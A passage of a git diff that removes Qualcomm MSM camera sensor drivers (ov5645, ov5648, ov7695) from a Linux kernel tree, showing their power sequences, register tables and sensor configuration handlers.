cdata->cfg.sensor_init_params.position, - cdata->cfg.sensor_init_params.sensor_mount_angle); - break; - case CFG_SET_SLAVE_INFO: { - struct msm_camera_sensor_slave_info sensor_slave_info; - struct msm_camera_power_ctrl_t *p_ctrl; - uint16_t size; - int slave_index = 0; - if (copy_from_user(&sensor_slave_info, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_sensor_slave_info))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - /* Update sensor slave address */ - if (sensor_slave_info.slave_addr) - s_ctrl->sensor_i2c_client->cci_client->sid = - sensor_slave_info.slave_addr >> 1; - - /* Update sensor address type */ - s_ctrl->sensor_i2c_client->addr_type = - sensor_slave_info.addr_type; - - /* Update power up / down sequence */ - p_ctrl = &s_ctrl->sensordata->power_info; - size = sensor_slave_info.power_setting_array.size; - if (p_ctrl->power_setting_size < size) { - struct msm_sensor_power_setting *tmp; - tmp = kmalloc(sizeof(struct msm_sensor_power_setting) - * size, GFP_KERNEL); - if (!tmp) { - pr_err("%s: failed to alloc mem\n", __func__); - rc = -ENOMEM; - break; - } - kfree(p_ctrl->power_setting); - p_ctrl->power_setting = tmp; - } - p_ctrl->power_setting_size = size; - - rc = copy_from_user(p_ctrl->power_setting, (void *) - sensor_slave_info.power_setting_array.power_setting, - size * sizeof(struct msm_sensor_power_setting)); - if (rc) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - CDBG("%s sensor id %x sensor addr type %d sensor reg %x\n" - "sensor id %x\n", __func__, - sensor_slave_info.slave_addr, - sensor_slave_info.addr_type, - sensor_slave_info.sensor_id_info.sensor_id_reg_addr, - sensor_slave_info.sensor_id_info.sensor_id); - for (slave_index = 0; slave_index < - p_ctrl->power_setting_size; slave_index++) { - CDBG("%s i %d power setting %d %d %ld %d\n", __func__, - slave_index, - p_ctrl->power_setting[slave_index].seq_type, - p_ctrl->power_setting[slave_index].seq_val, - p_ctrl->power_setting[slave_index].config_val, - p_ctrl->power_setting[slave_index].delay); - } - break; - } - case CFG_WRITE_I2C_ARRAY: { - struct msm_camera_i2c_reg_setting conf_array; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( - s_ctrl->sensor_i2c_client, &conf_array); - kfree(reg_setting); - break; - } - case CFG_WRITE_I2C_SEQ_ARRAY: { - struct msm_camera_i2c_seq_reg_setting conf_array; - struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_seq_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_seq_reg_array)), - GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_seq_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_seq_table(s_ctrl->sensor_i2c_client, - &conf_array); - kfree(reg_setting); - break; - } - - case CFG_POWER_UP: - if (s_ctrl->func_tbl->sensor_power_up) - rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); - else - rc = -EFAULT; - break; - - case CFG_POWER_DOWN: - if (s_ctrl->func_tbl->sensor_power_down) - rc = s_ctrl->func_tbl->sensor_power_down(s_ctrl); - else - rc = -EFAULT; - break; - - case CFG_SET_STOP_STREAM_SETTING: { - struct msm_camera_i2c_reg_setting *stop_setting = - &s_ctrl->stop_setting; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - if (copy_from_user(stop_setting, (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = stop_setting->reg_setting; - stop_setting->reg_setting = kzalloc(stop_setting->size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!stop_setting->reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(stop_setting->reg_setting, - (void *)reg_setting, stop_setting->size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(stop_setting->reg_setting); - stop_setting->reg_setting = NULL; - stop_setting->size = 0; - rc = -EFAULT; - break; - } - break; - } - case CFG_SET_STREAM_TYPE: { - enum msm_camera_stream_type_t stream_type = MSM_CAMERA_STREAM_INVALID; - if (copy_from_user(&stream_type, (void *)cdata->cfg.setting, - sizeof(enum msm_camera_stream_type_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - s_ctrl->camera_stream_type = stream_type; - break; - } - case CFG_SET_SATURATION: - break; - case CFG_SET_CONTRAST: - break; - case CFG_SET_SHARPNESS: - break; - case CFG_SET_AUTOFOCUS: - /* TO-DO: set the Auto Focus */ - pr_debug("%s: Setting Auto Focus", __func__); - break; - case CFG_CANCEL_AUTOFOCUS: - /* TO-DO: Cancel the Auto Focus */ - pr_debug("%s: Cancelling Auto Focus", __func__); - break; - case CFG_SET_ISO: - break; - case CFG_SET_EXPOSURE_COMPENSATION: - break; - case CFG_SET_EFFECT: - break; - case CFG_SET_ANTIBANDING: - break; - case CFG_SET_BESTSHOT_MODE: - break; - case CFG_SET_WHITE_BALANCE: - break; - default: - rc = -EFAULT; - break; - } - - mutex_unlock(s_ctrl->msm_sensor_mutex); - - return rc; -} - -static struct msm_sensor_fn_t ov5645_sensor_func_tbl = { - .sensor_config = ov5645_sensor_config, - .sensor_power_up = msm_sensor_power_up, - .sensor_power_down = msm_sensor_power_down, - .sensor_match_id = msm_sensor_match_id, -}; - -static struct msm_sensor_ctrl_t ov5645_s_ctrl = { - .sensor_i2c_client = &ov5645_sensor_i2c_client, - .power_setting_array.power_setting = ov5645_power_setting, - .power_setting_array.size = ARRAY_SIZE(ov5645_power_setting), - .msm_sensor_mutex = &ov5645_mut, - .sensor_v4l2_subdev_info = ov5645_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(ov5645_subdev_info), - .func_tbl = &ov5645_sensor_func_tbl, -}; - -module_init(ov5645_init_module); -module_exit(ov5645_exit_module); -MODULE_DESCRIPTION("Aptina 1.26MP YUV sensor driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5648.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5648.c deleted file mode 100644 index 99224684a1313..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5648.c +++ /dev/null @@ -1,179 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" - -#define OV5648_SENSOR_NAME "ov5648" -DEFINE_MSM_MUTEX(ov5648_mut); - -static struct msm_sensor_ctrl_t ov5648_s_ctrl; - -static struct msm_sensor_power_setting ov5648_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_VDIG, - .config_val = GPIO_OUT_LOW, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_VDIG, - .config_val = GPIO_OUT_HIGH, - .delay = 5, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 10, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 10, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 24000000, - .delay = 10, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct v4l2_subdev_info ov5648_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SBGGR10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static const struct i2c_device_id ov5648_i2c_id[] = { - {OV5648_SENSOR_NAME, - (kernel_ulong_t)&ov5648_s_ctrl}, - { } -}; - -static int32_t msm_ov5648_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &ov5648_s_ctrl); -} - -static struct i2c_driver ov5648_i2c_driver = { - .id_table = ov5648_i2c_id, - .probe = msm_ov5648_i2c_probe, - .driver = { - .name = OV5648_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client ov5648_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static struct msm_sensor_ctrl_t ov5648_s_ctrl = { - .sensor_i2c_client = &ov5648_sensor_i2c_client, - .power_setting_array.power_setting = ov5648_power_setting, - .power_setting_array.size = - ARRAY_SIZE(ov5648_power_setting), - .msm_sensor_mutex = &ov5648_mut, - .sensor_v4l2_subdev_info = ov5648_subdev_info, - .sensor_v4l2_subdev_info_size = - ARRAY_SIZE(ov5648_subdev_info), -}; - -static const struct of_device_id ov5648_dt_match[] = { - { - .compatible = "ovti,ov5648", - .data = &ov5648_s_ctrl - }, - {} -}; - -MODULE_DEVICE_TABLE(of, ov5648_dt_match); - -static struct platform_driver ov5648_platform_driver = { - .driver = { - .name = "ovti,ov5648", - .owner = THIS_MODULE, - .of_match_table = ov5648_dt_match, - }, -}; - -static int32_t ov5648_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - const struct of_device_id *match; - - match = of_match_device(ov5648_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init ov5648_init_module(void) -{ - int32_t rc = 0; - - rc = platform_driver_probe(&ov5648_platform_driver, - ov5648_platform_probe); - if (!rc) - return rc; - return i2c_add_driver(&ov5648_i2c_driver); -} - -static void __exit ov5648_exit_module(void) -{ - if (ov5648_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&ov5648_s_ctrl); - platform_driver_unregister(&ov5648_platform_driver); - } else - i2c_del_driver(&ov5648_i2c_driver); - return; -} - -module_init(ov5648_init_module); -module_exit(ov5648_exit_module); -MODULE_DESCRIPTION("ov5648"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov7695.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov7695.c deleted file mode 100644 index 88bb51ebf0912..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov7695.c +++ /dev/null @@ -1,679 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#include "msm_cci.h" -#include "msm_camera_io_util.h" -#define OV7695_SENSOR_NAME "ov7695" -#define PLATFORM_DRIVER_NAME "msm_camera_ov7695" -#define ov7695_obj ov7695_##obj - -/*#define CONFIG_MSMB_CAMERA_DEBUG*/ -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - - -DEFINE_MSM_MUTEX(ov7695_mut); -static struct msm_sensor_ctrl_t ov7695_s_ctrl; - -static struct msm_sensor_power_setting ov7695_power_setting[] = { - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 10, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VAF, - .config_val = 0, - .delay = 5, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 5, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 10, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 24000000, - .delay = 10, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct msm_camera_i2c_reg_conf ov7695_vga_settings[] = { - {0x3630, 0x79,}, -}; - -static struct msm_camera_i2c_reg_conf ov7695_recommend_settings[] = { - {0x0103, 0x01,}, - {0x0100, 0x01,}, - {0x3620, 0x2f,}, - {0x3623, 0x12,}, - {0x3718, 0x88,}, - {0x3703, 0x80,}, - {0x3712, 0x40,}, - {0x3706, 0x40,}, - {0x3631, 0x44,}, - {0x3632, 0x05,}, - {0x3013, 0xd0,}, - {0x3705, 0x1d,}, - {0x3713, 0x0e,}, - {0x3012, 0x0a,}, - {0x3717, 0x18,}, - {0x3621, 0x47,}, - {0x0309, 0x24,}, - {0x3820, 0x90,}, - {0x4803, 0x08,}, - {0x0101, 0x02,}, - {0x5100, 0x01,}, - {0x4500, 0x24,}, - {0x5301, 0x05,}, - {0x5302, 0x0c,}, - {0x5303, 0x1c,}, - {0x5304, 0x2a,}, - {0x5305, 0x39,}, - {0x5306, 0x45,}, - {0x5307, 0x52,}, - {0x5308, 0x5d,}, - {0x5309, 0x68,}, - {0x530a, 0x7f,}, - {0x530b, 0x91,}, - {0x530c, 0xa5,}, - {0x530d, 0xc6,}, - {0x530e, 0xde,}, - {0x530f, 0xef,}, - {0x5310, 0x16,}, - {0x520a, 0x74,}, //f4 - {0x520b, 0x64,}, //f4 - {0x520c, 0xd4,}, //f4 - {0x5504, 0x08,}, - {0x5505, 0x48,}, - {0x5506, 0x07,}, - {0x5507, 0x0b,}, - {0x3a18, 0x01,}, - {0x3a19, 0x00,}, - {0x3503, 0x03,}, - {0x3500, 0x00,}, - {0x3501, 0x21,}, - {0x3502, 0x00,}, - {0x350a, 0x00,}, - {0x350b, 0x00,}, - {0x4008, 0x02,}, - {0x4009, 0x09,}, - {0x3002, 0x09,}, - {0x3024, 0x00,}, - {0x3503, 0x00,}, - {0x0101, 0x02,}, - {0x5002, 0x48,}, - {0x5910, 0x00,}, - {0x3a0f, 0x58,}, - {0x3a10, 0x50,}, - {0x3a1b, 0x5a,}, - {0x3a1e, 0x4e,}, - {0x3a11, 0xa0,}, - {0x3a1f, 0x28,}, - {0x3a18, 0x00,}, - {0x3a19, 0xf8,}, - {0x3503, 0x00,}, - {0x3a0d, 0x04,}, - {0x5000, 0xff,}, - {0x5001, 0x3f,}, - {0x5100, 0x1 ,}, //01 - {0x5101, 0x25,}, //48 - {0x5102, 0x0 ,}, //00 - {0x5103, 0xf3,}, //f8 - {0x5104, 0x7f,}, //04 - {0x5105, 0x5 ,}, //00 - {0x5106, 0xff,}, //00 - {0x5107, 0xf ,}, //00 - {0x5108, 0x1 ,}, //01 - {0x5109, 0x1f,}, //48 - {0x510a, 0x0 ,}, //00 - {0x510b, 0xde,}, //f8 - {0x510c, 0x56,}, //03 - {0x510d, 0x5 ,}, //00 - {0x510e, 0xff,}, //00 - {0x510f, 0xf ,}, //00 - {0x5110, 0x1 ,}, //01 - {0x5111, 0x23,}, //48 - {0x5112, 0x0 ,}, //00 - {0x5113, 0xe3,}, //f8 - {0x5114, 0x5c,}, //03 - {0x5115, 0x5 ,}, //00 - {0x5116, 0xff,}, //00 - {0x5117, 0xf ,}, //00 - {0x520a, 0x74,}, //f4 - {0x520b, 0x64,}, //f4 - {0x520c, 0xd4,}, //f4 - {0x5004, 0x41,}, - {0x5006, 0x41,}, - {0x5301, 0x05,}, - {0x5302, 0x0c,}, - {0x5303, 0x1c,}, - {0x5304, 0x2a,}, - {0x5305, 0x39,}, - {0x5306, 0x45,}, - {0x5307, 0x53,}, - {0x5308, 0x5d,}, - {0x5309, 0x68,}, - {0x530a, 0x7f,}, - {0x530b, 0x91,}, - {0x530c, 0xa5,}, - {0x530d, 0xc6,}, - {0x530e, 0xde,}, - {0x530f, 0xef,}, - {0x5310, 0x16,}, - {0x5003, 0x80,}, - {0x5500, 0x08,}, - {0x5501, 0x48,}, - {0x5502, 0x18,}, - {0x5503, 0x04,}, - {0x5504, 0x08,}, - {0x5505, 0x48,}, - {0x5506, 0x02,}, - {0x5507, 0x16,}, - {0x5508, 0x2d,}, - {0x5509, 0x08,}, - {0x550a, 0x48,}, - {0x550b, 0x06,}, - {0x550c, 0x04,}, - {0x550d, 0x01,}, - {0x5800, 0x02,}, - {0x5803, 0x2e,}, - {0x5804, 0x20,}, - {0x5600, 0x00,}, - {0x5601, 0x2c,}, - {0x5602, 0x5a,}, - {0x5603, 0x06,}, - {0x5604, 0x1c,}, - {0x5605, 0x65,}, - {0x5606, 0x81,}, - {0x5607, 0x9f,}, - {0x5608, 0x8a,}, - {0x5609, 0x15,}, - {0x560a, 0x01,}, - {0x560b, 0x9c,}, - {0x3811, 0x07,}, - {0x3813, 0x06,}, - {0x3630, 0x79,}, -}; - -static struct v4l2_subdev_info ov7695_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_YUYV8_2X8, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static struct msm_camera_i2c_reg_conf ov7695_start_settings[] = { - {0x301a, 0xf0}, -}; - -static struct msm_camera_i2c_reg_conf ov7695_stop_settings[] = { - {0x301a, 0xf4}, -}; - -static const struct i2c_device_id ov7695_i2c_id[] = { - {OV7695_SENSOR_NAME, (kernel_ulong_t)&ov7695_s_ctrl}, - { } -}; - -static int32_t msm_ov7695_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &ov7695_s_ctrl); -} - -static struct i2c_driver ov7695_i2c_driver = { - .id_table = ov7695_i2c_id, - .probe = msm_ov7695_i2c_probe, - .driver = { - .name = OV7695_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client ov7695_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static const struct of_device_id ov7695_dt_match[] = { - {.compatible = "ovti,ov7695", .data = &ov7695_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, ov7695_dt_match); - -static int32_t ov7695_platform_probe(struct platform_device *pdev) -{ - int32_t rc; - const struct of_device_id *match; - match = of_match_device(ov7695_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static struct platform_driver ov7695_platform_driver = { - .driver = { - .name = "ovti,ov7695", - .owner = THIS_MODULE, - .of_match_table = ov7695_dt_match, - }, - .probe = ov7695_platform_probe, -}; - -static int __init ov7695_init_module(void) -{ - int32_t rc; - pr_err("%s:%d\n", __func__, __LINE__); - rc = platform_driver_register(&ov7695_platform_driver); - if (!rc) - return rc; - pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&ov7695_i2c_driver); -} - -static void __exit ov7695_exit_module(void) -{ - pr_err("%s:%d\n", __func__, __LINE__); - if (ov7695_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&ov7695_s_ctrl); - platform_driver_unregister(&ov7695_platform_driver); - } else - i2c_del_driver(&ov7695_i2c_driver); - return; -} - -int32_t ov7695_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, - void __user *argp) -{ - struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; - long rc = 0; - int32_t i = 0; - mutex_lock(s_ctrl->msm_sensor_mutex); - CDBG("%s:%d %s cfgtype = %d\n", __func__, __LINE__, - s_ctrl->sensordata->sensor_name, cdata->cfgtype); - switch (cdata->cfgtype) { - case CFG_GET_SENSOR_INFO: - memcpy(cdata->cfg.sensor_info.sensor_name, - s_ctrl->sensordata->sensor_name, - sizeof(cdata->cfg.sensor_info.sensor_name)); - cdata->cfg.sensor_info.session_id = - s_ctrl->sensordata->sensor_info->session_id; - for (i = 0; i < SUB_MODULE_MAX; i++) - cdata->cfg.sensor_info.subdev_id[i] = - s_ctrl->sensordata->sensor_info->subdev_id[i]; - cdata->cfg.sensor_info.is_mount_angle_valid = - s_ctrl->sensordata->sensor_info->is_mount_angle_valid; - cdata->cfg.sensor_info.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - CDBG("%s:%d sensor name %s\n", __func__, __LINE__, - cdata->cfg.sensor_info.sensor_name); - CDBG("%s:%d session id %d\n", __func__, __LINE__, - cdata->cfg.sensor_info.session_id); - for (i = 0; i < SUB_MODULE_MAX; i++) - CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, - cdata->cfg.sensor_info.subdev_id[i]); - CDBG("%s:%d mount angle valid %d value %d\n", __func__, - __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, - cdata->cfg.sensor_info.sensor_mount_angle); - - break; - case CFG_SET_INIT_SETTING: - /* 1. Write Recommend settings */ - /* 2. Write change settings */ - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, ov7695_recommend_settings, - ARRAY_SIZE(ov7695_recommend_settings), - MSM_CAMERA_I2C_BYTE_DATA); - break; - - case CFG_SET_RESOLUTION: { - /*copy from user the desired resoltuion*/ - enum msm_sensor_resolution_t res = MSM_SENSOR_INVALID_RES; - if (copy_from_user(&res, (void *)cdata->cfg.setting, - sizeof(enum msm_sensor_resolution_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - pr_err("%s:%d res =%d\n", __func__, __LINE__, res); - - if (res == MSM_SENSOR_RES_FULL) { - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, ov7695_vga_settings, - ARRAY_SIZE(ov7695_vga_settings), - MSM_CAMERA_I2C_BYTE_DATA); - pr_err("%s:%d res =%d\n ov7695_vga_settings ", - __func__, __LINE__, res); - } else { - pr_err("%s:%d failed resoultion set\n", __func__, - __LINE__); - rc = -EFAULT; - } - } - break; - case CFG_SET_STOP_STREAM: - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, ov7695_stop_settings, - ARRAY_SIZE(ov7695_stop_settings), - MSM_CAMERA_I2C_BYTE_DATA); - break; - case CFG_SET_START_STREAM: - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, ov7695_start_settings, - ARRAY_SIZE(ov7695_start_settings), - MSM_CAMERA_I2C_BYTE_DATA); - break; - case CFG_GET_SENSOR_INIT_PARAMS: - cdata->cfg.sensor_init_params.modes_supported = - s_ctrl->sensordata->sensor_info->modes_supported; - cdata->cfg.sensor_init_params.position = - s_ctrl->sensordata->sensor_info->position; - cdata->cfg.sensor_init_params.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - pr_err("%s:%d init params mode %d pos %d mount %d\n", __func__, - __LINE__, - cdata->cfg.sensor_init_params.modes_supported, - cdata->cfg.sensor_init_params.position, - cdata->cfg.sensor_init_params.sensor_mount_angle); - break; - case CFG_SET_SLAVE_INFO: { - struct msm_camera_sensor_slave_info sensor_slave_info; - struct msm_camera_power_ctrl_t *p_ctrl; - uint16_t size; - int slave_index = 0; - if (copy_from_user(&sensor_slave_info, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_sensor_slave_info))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - /* Update sensor slave address */ - if (sensor_slave_info.slave_addr) - s_ctrl->sensor_i2c_client->cci_client->sid = - sensor_slave_info.slave_addr >> 1; - - /* Update sensor address type */ - s_ctrl->sensor_i2c_client->addr_type = - sensor_slave_info.addr_type; - - /* Update power up / down sequence */ - p_ctrl = &s_ctrl->sensordata->power_info; - size = sensor_slave_info.power_setting_array.size; - if (p_ctrl->power_setting_size < size) { - struct msm_sensor_power_setting *tmp; - tmp = kmalloc(sizeof(struct msm_sensor_power_setting) - * size, GFP_KERNEL); - if (!tmp) { - pr_err("%s: failed to alloc mem\n", __func__); - rc = -ENOMEM; - break; - } - kfree(p_ctrl->power_setting); - p_ctrl->power_setting = tmp; - } - p_ctrl->power_setting_size = size; - - rc = copy_from_user(p_ctrl->power_setting, (void *) - sensor_slave_info.power_setting_array.power_setting, - size * sizeof(struct msm_sensor_power_setting)); - if (rc) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - CDBG("%s sensor id %x sensor addr type %d sensor reg %x\n" - "sensor id %x\n", __func__, - sensor_slave_info.slave_addr, - sensor_slave_info.addr_type, - sensor_slave_info.sensor_id_info.sensor_id_reg_addr, - sensor_slave_info.sensor_id_info.sensor_id); - for (slave_index = 0; slave_index < - p_ctrl->power_setting_size; slave_index++) { - CDBG("%s i %d power setting %d %d %ld %d\n", __func__, - slave_index, - p_ctrl->power_setting[slave_index].seq_type, - p_ctrl->power_setting[slave_index].seq_val, - p_ctrl->power_setting[slave_index].config_val, - p_ctrl->power_setting[slave_index].delay); - } - break; - } - case CFG_WRITE_I2C_ARRAY: { - struct msm_camera_i2c_reg_setting conf_array; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( - s_ctrl->sensor_i2c_client, &conf_array); - kfree(reg_setting); - break; - } - case CFG_WRITE_I2C_SEQ_ARRAY: { - struct msm_camera_i2c_seq_reg_setting conf_array; - struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_seq_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_seq_reg_array)), - GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_seq_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_seq_table(s_ctrl->sensor_i2c_client, - &conf_array); - kfree(reg_setting); - break; - } - - case CFG_POWER_UP: - if (s_ctrl->func_tbl->sensor_power_up) - rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); - else - rc = -EFAULT; - break; - - case CFG_POWER_DOWN: - if (s_ctrl->func_tbl->sensor_power_down) - rc = 